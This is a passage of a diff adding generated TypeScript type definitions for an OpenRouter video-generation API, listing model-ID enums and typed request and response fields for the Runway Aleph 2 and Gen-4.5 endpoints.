'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosRunwayAleph2RequestModelEnumKey = + (typeof openrouterPostVideosRunwayAleph2RequestModelEnum)[keyof typeof openrouterPostVideosRunwayAleph2RequestModelEnum] + +export const openrouterPostVideosRunwayAleph2RequestResolutionEnum = { + '360p': '360p', + '480p': '480p', + '720p': '720p', + '768p': '768p', + '1080p': '1080p', + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type OpenrouterPostVideosRunwayAleph2RequestResolutionEnumKey = + (typeof openrouterPostVideosRunwayAleph2RequestResolutionEnum)[keyof typeof openrouterPostVideosRunwayAleph2RequestResolutionEnum] + +/** + * @description Runway: Aleph 2.0 (runway/aleph-2) — model-constrained video generation request. Runway Aleph 2.0 is an in-context video editing model from Runway. It applies text instructions and keyframe-guided edits across existing footage while preserving details that are not meant to change.... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosRunwayAleph2Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosRunwayAleph2RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @minimum 1 + * @example 8 + * @type integer | undefined + */ + duration?: number + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosRunwayAleph2RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: contentModeration, keyframes. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosRunwayAleph2RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosRunwayAleph2Options = { + body: OpenrouterPostVideosRunwayAleph2Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosRunwayAleph2Responses = { + '200': OpenrouterPostVideosRunwayAleph2Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosRunwayAleph2Response = + OpenrouterPostVideosRunwayAleph2Status200 + +export const openrouterPostVideosRunwayGen45Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosRunwayGen45Status200StatusEnumKey = + (typeof openrouterPostVideosRunwayGen45Status200StatusEnum)[keyof typeof openrouterPostVideosRunwayGen45Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosRunwayGen45Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosRunwayGen45Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosRunwayGen45RequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosRunwayGen45RequestAspectRatioEnumKey = + (typeof openrouterPostVideosRunwayGen45RequestAspectRatioEnum)[keyof typeof openrouterPostVideosRunwayGen45RequestAspectRatioEnum] + +export const openrouterPostVideosRunwayGen45RequestDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, +} as const + +export type OpenrouterPostVideosRunwayGen45RequestDurationEnumKey = + (typeof openrouterPostVideosRunwayGen45RequestDurationEnum)[keyof typeof openrouterPostVideosRunwayGen45RequestDurationEnum] + +export const openrouterPostVideosRunwayGen45RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 